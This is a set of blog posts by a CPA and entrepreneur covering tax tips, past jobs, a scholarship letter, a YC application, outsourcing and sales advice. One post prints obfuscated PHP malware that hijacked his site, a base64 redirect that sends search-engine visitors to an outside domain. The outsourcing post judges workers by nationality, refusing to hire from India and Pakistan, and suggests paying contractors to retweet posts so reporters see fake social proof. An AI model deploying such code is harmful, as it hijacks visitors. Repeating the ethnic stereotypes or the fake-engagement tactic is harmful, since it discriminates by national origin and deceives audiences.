I was recently featured on American Express Open Forum for advice on tax planning =D

“You can use Section 179 on purchases up to $139,000 and bonus depreciation on amounts over that,” says Cameron Keng, CPA and founder of Autotax.me, a provider of automated tax services for small and mid-size businesses. “Bonus depreciation allows you to deduct 50 percent of the cost immediately of new purchases used for business,” says Keng.

You can check out the whole article here.

http://www.openforum.com/articles/save-thousands-with-this-tax-break

The most important lesson I’ve learned from any job is that – I don’t want to do this.  I’ve had more jobs in more industries than most families have had in a lifetime.  This is the result of a mixture of being insanely poor, having zero shame and curiosity.

What I’ve done:

1. Jeweler (I was a sweatshop worker making hairpins at 8.)
2. Marketing (I handed out flyers on the street at 14.)
3. Design Engineer (I was a janitor.)
4. Hotel Manager (A mix between bellhop and front desk guy.)
5. Structural Engineer (I was a construction worker.)
6. Mixologist (I worked at a bubble tea shop.)
7. Mixologist (I actually served alcohol this time.)
8. IT Technician (I restarted computers.)
9. Librarian (Shoved books in shelves in quasi-dewey decimal style.)
10. Barista (I poured coffee.)
11. Tour Guide (Lied to children about dinosaurs.)
12. Professor (I hate talking this much.)
13. Accountant (Bean counter with a specialization in tax.)
14. Entreprenuer (Failing on a daily basis to save you from my mistakes.)
15. Author (Short stories by interesting people and my business experiences.)

In all of the above, I learned that – I don’t want do this.

It’s bullshit and I hate it.

There’s nothing wrong with the jobs or the people that work in them, but I personally thought they were horrible.  If I ever have children – god forbid – I’d probably force them into a similar situation and have them work in a bunch of crazy jobs too.

Here are a few nuggets that I’ve taken away from my past jobs.

1. Tipping really is optional and people that say it’s required or expect it are out of their mind.  The restaurant and service industry in general is created so that they “offer” servers the opportunity to earn “tips.”  This is because the job pays less than minimum wage but because the addition of their tips means that the business has met the minimum wage requirement.  It’s not my job to subsidize the server or the business.  I was thankful for tips but I never chased anyone out the door if they under-tipped me by 5%.  WTF?
2. Hard labor blows giant round sweaty balls.  Hard is an understatement.  I remember lugging 4×2’s up flights of stairs and thinking my heart was going to burst in the 93 degree humid heat.  Any job that requires you to do hard labor can’t be a long-term job by design.  Your body will literally give out.  I remember screwing nails into gypsum, putting up drywall while contorting my body into ungodly positions.  The Olympics should hold a new gymnastic event for contractors considering the positions they get into to screw a nail.
3. It’s really all the same at the end of the day.  Same shit, different day.  Truer words have never been said.  I’ve never had a job or career that was “aces” across the board.  All jobs suck.  But, every job has its moments.  You can always be proud of your work.
   1. Admiring that caramel macchiato I just made for that cocky long-island douche paying $4.17 with an AMEX black card.
   2. A kid super excited after a walkthrough and tour or the shark section.
   3. The look of that guy who’s about to jizz himself finding a hotel he can afford with his faux girlfriend/mistress.
   4. The way numbers on a tax return can be so pretty when they all tie together and make sense like my Sonata #1040. LOL
   5. You can basically learn almost any job in 6 to 8 months.  If you can’t learn 80% of your job, then chances are you either (1) not true, (2) a ridiculously slow learner or (3) the people around you don’t know what the f*ck they’re doing.  Example of number (3) are investment bankers trying to understand the concept of risk through reports provided by their math PhD. Dropouts.

There are many more, insights but needless to say.  The moral of the story is that a job sucks, but you can always learn something and you should try as many as you can before you settle on one that you’ll do for the long haul.

disclaimer:

I don’t hate what I do, but people should try everything they can so that they can decide for themselves what they hate about their jobs and lives.

Not many people can say that they were able to come out of law school debt free.  I can say that not only am I debt free, but I was paid to go to law school.

There are exceptions to everything in this world, whether we realize it or not.  As much as I think Instagram is bullshit, I can’t deny that they’re the exception to the rule that photo apps are always losers.

The thing we need to realize is that exceptions can always be created.  Before I went to law school, everyone told me that it was going to bankrupt me and I’d end up hating my life.  This was coming from all of my cousins that became attorneys.  They all came out with $200K plus debt and an extreme disgust with their working life.

I went to a normal law school (not insert ivy league).  CUNY Law was a city law school that I chose because it had the strongest return on investment.  They were 4^th string, but they were accredited and the #1 law school in public law.

CUNY Law didn’t have a scholarship program. 

After I received my acceptance, I received a bill to pay the extremely affordable in-state tuition of $10k.  I, being the cheap miserly bastard I am, called the school to request a scholarship.  The Admissions office clearly said that they don’t offer any and fellowships programs are determined by the applicant pool’s applications.

Unwilling to accept this, I draft an 1 page letter to fax over attention to their Admissions office.  The letter I wrote (see below), was fairly straight-forward.  It said the following:

1. I want money.
2. I’m a big deal. (LOL)
3. Here’s proof.

Here’s exactly what I wrote…

To Whom It May Concern:

I, Cameron Keng, would like to be considered for the fellowship program at CUNY Law. The past 2 years has been an amazing experience where I’ve transitioned from my full time position at major accounting firms such as PricewaterhouseCoopers and KPMG to my nonprofit 501(c)(3) tax clinic that offers free assistance to low-income families, the elderly and non-native English speaking immigrants.

Cam’s rules to being the exception the rule:

1. Asking for something BIG.
2. It is absolutely necessary to be fiercely shameless.
3. Back your shit up.

CUNY Law was awesome enough to offer a scholarship that covered $5,000 dollars in light of my prior achievements and accomplishments.  Standing out and becoming the exception could be as simple as asking for something that wasn’t stated.

Take this process, rinse and repeat…

The result is getting about $20k in scholarships to cover all of my costs including cost of living.

Please do the same.

Here is the cause of my woes! =(

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ2lnb3AuYW1lcmljYW51bmZpbmlzaGVkLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"))

Its going to die. yay!

Below is my YC app for the most recent batch.  Realistically, the chances of getting an interview is pretty slim because of the number of worthy candidates.  The only way to guarantee yourself a place in the next class is to either (1) be a prior successful founder or (2) have an established business model with over 1,000 paying customers.  Notice that if you had either, then you wouldn’t even need to get into YC because you’d be too busying winning xP.

I don’t expect to be chosen, but I thought that it was a great thought exercise to go through.  These are questions that you should’ve asked yourself a while ago anyway.

I did my app fairly quickly because I’ve asked myself a lot of these questions before while lying awake at night.

Putting everything down on paper is an awkward experience because it sounds great in your head and looks insane in words.  Forcing yourself to write concisely is really hard.  Conveying your idea to something simple and clear is totally different than just doing it.

I suggest everyone try and actually write this stuff down.  You’ll be amazed at the shit you’ll say the first time through.

Here’s my application:

*Note: If anyone else is willing to post their app and willing to centralize them all, let me know and I’ll throw it all together real quick.  It’ll be interesting if the crowd-voted favorites will be chosen.  Mob mentality v. YC. LOL

http://cameronkeng.com/wp-content/uploads/2012/03/yc-tax-application.pdf

Outsourcing vs. Offshoring

Definitions:

Outsourcing – is having an external individual or organization complete tasks or objectives for you.

Offshoring – is having an external individual or organization in a foreign country complete tasks or objectives for you.

I’ve spent at this point $6,679.13 dollars outsourcing and offshoring work this month.  Examples of tasks that I’ve outsourced or offshored:

1. Media/PR Tasks such as looking up contact info of reporters and investors.
   1. They’re always good at this!  This can easily take you hours (Paid $10 for 100 contacts)
   2. Write and Edit Tax Manuals based on my various past writings, journals and tax publications
      1. Offshoring writing is difficult because the English will be 90% perfect, but that last 10% seems to always irk me.
      2. I’ve learned to avoid having them writing original content, but instead have them edit, format and take inspiration/bits from various sources. They’re amazing at this type of work because this is what they usually do anyway.
      3. Social Media.  I’m not a fan.  But, I understand that it works in very specific circumstances.  This is a longer-term investment play.  Twitter requires a huge amount of social proof to have you take off.  On twitter, if you do the following:
         1. Write a tweet to a reporter such as “@RandomReporter’s article on stupid stuff that @cameronkeng think’s is awesome! Read it link”
         2. This then is retweeted at random times by various offshore or outsourced contractors.  All of a sudden the reporter loves you because you’ve “expanded their audience” and gave them social proof that they can retweet themselves.
         3. When the reporter retweets you, then you’re known to their audience of readers and more importantly – other reporters.
         4. Development.  Developers in the United States are awesome.  So, awesome that we can’t afford them lol.  Understand that hiring developers overseas is the worst thing you can do in your life because they all suck to varying degrees because the good ones are already taken.
            1. I have categorically refused to hire from India, Pakistan and the like because of the signal to noise ratio.

i.      I spoke to an Indian firm ran by an American-Indian and he actually admitted that the reason why all Indian firms have such poor service is because of the mindset:

1. They already know you’re going to leave.  It’s a matter of time before you realize that this isn’t going to work.  So, they’ll agree to anything you possibly ask for knowing they can’t or won’t deliver because they’d rather get you on the hook for a month or two before you realize it. (LOL)
2. If you want this to work, you need to understand development yourself.  Code needs to be consistently reviewed and everything needs to be communicated.
3. Understand that you’re paying really cheap prices and everyone knows that (Including the people you hired.)  The timeline you expect needs to be 3 times whatever you want.

Cam’s General Outsourcing & Offshoring Rules:

1. I defer to Filipinos.  They’re just better.  They’re awesome for a variety of reasons.
   1. They’re almost fluent in English because of American colonization.
   2. Great customer service!  Guaranteed they’ll always call your sir or madam.  I’m usually called a madam because they think I’m Cameron Diaz. (LOL)
   3. Incredibly honest.  I’ve had a Filipino that had over billed by 50 hours and when I brought it to his attention he refunded the money within the same day.
   4. Skilled labor.  Filipinos have a variety of skills that are competitive in the international market.  I like to use them the most for writing, editing, video and audio.
   5. Always make strict rules and guidelines that cannot be broken.  For example, require the applicants to have a message typed up in the Subject line as an introduction and a format for them to structure their information.
      1. Subject line should always have a keyword so that we know that they can follow directions.
      2. Format is important because it shows they actually read your directions and can follow them.  If they’re this stupid now, then how are they going to do good work in the future?
      3. Require that they’re willing to give skype calls where audio is a must and video is preferred.  You forget that visual interaction is important because you can physically see signs of lying and other problems that can be hidden through the “internetz.”
      4. Know that you’re going to over pay and lose money on your projects.
         1. Your first project is a loser.  I paid 4 people to do the same project, so I basically overpaid over 4x the actual cost of the project.  This is the cost of finding good people.

I’ll go into more detail on how I found good people that I’ve kept on for the past 6 months on a semi-permanent basis.

I’ve finally gotten off my lazy ass and fixed my site that was hacked for the last month.  Sadly, it took this long because I was at SXSW this year on the StartupBus that totally kicked my ass.  It was an amazing experience and in all honestly – life changing.

I’m glad I figured out how to fix this problem, in the future I’ll be able to do this much faster.  It’s embarrassing, but I didn’t know how to use myphpadmin to reload my backed up database.

So, here’s the new site design and the content is back!

You can find this article posted by me originally on tech.li as a regular columnist.

The current obsession with “product” is probably the worst thing to hit the startup community recently, since Color.  Worry about selling.  Building a product before you’re able to definitively sell it is a guaranteed recipe to fail – hard.  I recently started a new business and my first task was to sell.

I pre-sold my product based on the idea alone before I ever spent a dollar on development.

If you can’t sell your product to someone for cold hard cash based on the idea alone in person, then you’re in for a beating.  The in-person selling exercise is going to be the best chance you’ll ever have to close a sale.  Online marketing is impersonal and notoriously difficult.  If you can’t sell your product with your try hard pants on and all your charm, then you better move on.

After pre-selling my product, I got to work building publicity and mindshare.

Knowing that your product sells is awesome.  The next most important thing is to find a way to reach your target audience.  Getting people to notice you when you’re a nobody sucks – period.  You need to do something big fast.

I chose to make a big splash by offering crazy value for free, while I’m building the product.

I don’t have the ability to write convincingly enough for my copywriting to bring the house down.  What I can do (as well as any startup) is to create value.  It’s a lot easier to get publicity by doing something than writing about it.  Most people never doing anything their entire lives worth repeating.

I created a website that provides free continuing professional education or learning credits that one of my target audiences needs to retain their license.  Googling these credits shows that the average cost for it is about $89 dollars per credit.

I applied and receive approval by the necessary federal and state departments to become an official provider.  I’ve now cornered the market and mindshare for my target audience.  They need me.  They have to come and find me to get their free credits to keep their license.  This website is now part of my sales funnel to sell my product.

Was doing this a giant pain in the ass?

Absolutely.

Was it equally necessary?

Absolutely.

It’s never easy to do something important enough to grab attention.  But, it’s always worth it to at least try.  We’re all in it to succeed and if you’ve been in the game longer than 2 weeks, then you know that everything we do takes an impossible amount of effort.  So, do what you do best – work.